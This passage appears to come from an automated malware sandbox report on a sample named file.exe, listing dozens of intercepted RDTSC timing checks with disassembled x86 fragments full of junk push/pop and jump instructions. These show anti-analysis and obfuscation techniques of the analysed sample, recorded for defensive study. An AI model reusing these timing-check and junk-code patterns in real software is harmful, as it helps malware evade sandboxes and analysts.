00007F96C91A861Dh 0x00000053 xchg eax, esi 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F96C91A861Ch 0x0000005b rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A868D1 second address: A868D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A868D7 second address: A868F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8623h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8596C second address: A85986 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96C9132776h 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8348B second address: A834AD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F96C91A8625h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A86A37 second address: A86AD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f jne 00007F96C913276Ch 0x00000015 nop 0x00000016 mov edi, eax 0x00000018 mov dword ptr [ebp+122D3024h], edx 0x0000001e push dword ptr fs:[00000000h] 0x00000025 push 00000000h 0x00000027 push eax 0x00000028 call 00007F96C9132768h 0x0000002d pop eax 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 add dword ptr [esp+04h], 0000001Bh 0x0000003a inc eax 0x0000003b push eax 0x0000003c ret 0x0000003d pop eax 0x0000003e ret 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 mov ebx, dword ptr [ebp+124496A0h] 0x0000004c mov eax, dword ptr [ebp+122D03E9h] 0x00000052 push ecx 0x00000053 call 00007F96C9132779h 0x00000058 push esi 0x00000059 pop ebx 0x0000005a pop edi 0x0000005b pop edi 0x0000005c push FFFFFFFFh 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 jmp 00007F96C9132773h 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A86AD8 second address: A86ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A86ADD second address: A86AE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8982D second address: A89832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8B7BF second address: A8B7C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8B7C3 second address: A8B7D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 je 00007F96C91A8620h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8B7D4 second address: A8B84B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F96C9132768h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebx 0x00000027 call 00007F96C9132768h 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], ebx 0x00000031 add dword ptr [esp+04h], 0000001Dh 0x00000039 inc ebx 0x0000003a push ebx 0x0000003b ret 0x0000003c pop ebx 0x0000003d ret 0x0000003e js 00007F96C913276Ch 0x00000044 or dword ptr [ebp+122D259Bh], edx 0x0000004a push 00000000h 0x0000004c jne 00007F96C913276Bh 0x00000052 push eax 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F96C913276Dh 0x0000005b rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8AA02 second address: A8AAA9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jno 00007F96C91A8616h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F96C91A8623h 0x00000012 nop 0x00000013 jng 00007F96C91A861Bh 0x00000019 mov ebx, 46BFE3E0h 0x0000001e push dword ptr fs:[00000000h] 0x00000025 and ebx, dword ptr [ebp+122D1DB8h] 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 push 00000000h 0x00000034 push ebp 0x00000035 call 00007F96C91A8618h 0x0000003a pop ebp 0x0000003b mov dword ptr [esp+04h], ebp 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc ebp 0x00000048 push ebp 0x00000049 ret 0x0000004a pop ebp 0x0000004b ret 0x0000004c or dword ptr [ebp+1247213Bh], ebx 0x00000052 mov dword ptr [ebp+122D1E2Ah], edx 0x00000058 mov eax, dword ptr [ebp+122D07DDh] 0x0000005e push FFFFFFFFh 0x00000060 push 00000000h 0x00000062 push ebx 0x00000063 call 00007F96C91A8618h 0x00000068 pop ebx 0x00000069 mov dword ptr [esp+04h], ebx 0x0000006d add dword ptr [esp+04h], 00000017h 0x00000075 inc ebx 0x00000076 push ebx 0x00000077 ret 0x00000078 pop ebx 0x00000079 ret 0x0000007a nop 0x0000007b push edi 0x0000007c push eax 0x0000007d push edx 0x0000007e jmp 00007F96C91A8623h 0x00000083 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8AAA9 second address: A8AAB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8AAB7 second address: A8AABD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8AABD second address: A8AAC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A924EE second address: A924FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F96C91A861Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A92695 second address: A926A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jnp 00007F96C9132766h 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A926A8 second address: A926B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F96C91A8616h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A926B6 second address: A926BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9280B second address: A92815 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F96C91A8616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A96CF4 second address: A96CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A96E94 second address: A96E9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F96C91A8616h 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A99441 second address: A9945E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F96C913277Ch 0x0000000b jmp 00007F96C9132770h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9945E second address: A99482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 jp 00007F96C91A8616h 0x0000000c jmp 00007F96C91A8626h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A99482 second address: A9948F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F96C9132766h 0x0000000d rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9948F second address: A994A0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F96C91A8618h 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A994A0 second address: A994B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96C913276Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A32187 second address: A3218B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9B64F second address: A9B68B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F96C913276Ah 0x0000000a pop edi 0x0000000b jmp 00007F96C9132772h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F96C9132770h 0x00000019 push eax 0x0000001a push edx 0x0000001b push edi 0x0000001c pop edi 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9B68B second address: A9B68F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9B68F second address: A9B69B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F96C9132766h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9F746 second address: A9F74A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9FC8E second address: A9FC96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9FC96 second address: A9FC9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9FF8F second address: A9FFC2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F96C9132766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F96C9132776h 0x00000012 push edx 0x00000013 jmp 00007F96C913276Ch 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a pop edx 0x0000001b rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9FFC2 second address: A9FFCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9FFCA second address: A9FFCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA0460 second address: AA047A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8625h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA047A second address: AA0480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA0480 second address: AA0486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA4CD4 second address: AA4CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F96C9132766h 0x0000000a jno 00007F96C9132766h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA4CE8 second address: AA4CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F96C91A861Dh 0x0000000b popad 0x0000000c rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA5281 second address: AA528B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F96C9132766h 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA528B second address: AA528F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA53DC second address: AA53E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA53E0 second address: AA53EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F96C91A8616h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA53EF second address: AA53F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA4994 second address: AA49B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96C91A8625h 0x00000009 jno 00007F96C91A8616h 0x0000000f popad 0x00000010 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA585A second address: AA587E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C913276Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F96C9132772h 0x00000010 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA59E1 second address: AA59EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA9846 second address: AA984A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA984A second address: AA984E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB0EF4 second address: AB0EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB0EFC second address: AB0F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A78480 second address: A7848A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F96C9132766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A7848A second address: A784AB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F96C91A8618h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 js 00007F96C91A8618h 0x00000017 push esi 0x00000018 pop esi 0x00000019 pop eax 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A784AB second address: A784AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A784AF second address: A784D1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F96C91A8616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F96C91A8626h 0x00000011 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A784D1 second address: A784D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A784D5 second address: A784E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A784E6 second address: A784EC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A785FE second address: A78602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A78602 second address: A78606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A78606 second address: A7860C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A78CC5 second address: A78CCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A78EAD second address: A78EEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, edx 0x0000000f lea eax, dword ptr [ebp+1247C98Bh] 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F96C91A8618h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 jno 00007F96C91A861Ch 0x00000038 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A78EEE second address: A78EF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A56F7D second address: A56FA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F96C91A861Ch 0x00000008 jg 00007F96C91A8616h 0x0000000e jns 00007F96C91A8616h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jnc 00007F96C91A8616h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A56FA3 second address: A56FBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C9132777h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB0539 second address: AB053E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB053E second address: AB055B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96C913276Dh 0x00000009 jno 00007F96C9132766h 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB06D0 second address: AB06D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB09A8 second address: AB09B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96C913276Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB53B0 second address: AB53E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C91A8621h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F96C91A8620h 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB53E0 second address: AB53E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB53E8 second address: AB53F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB53F0 second address: AB5404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96C913276Fh 0x00000009 popad 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB5404 second address: AB540B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB5685 second address: AB56BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pop esi 0x00000008 jc 00007F96C9132795h 0x0000000e pushad 0x0000000f jmp 00007F96C9132772h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007F96C913276Fh 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB5C22 second address: AB5C26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB9A05 second address: AB9A46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96C9132771h 0x00000007 ja 00007F96C9132776h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F96C9132771h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB9A46 second address: AB9A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB9A4A second address: AB9A4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ABC589 second address: ABC591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC0C60 second address: AC0C6A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F96C9132766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC0C6A second address: AC0C88 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F96C91A8625h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC0C88 second address: AC0C8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
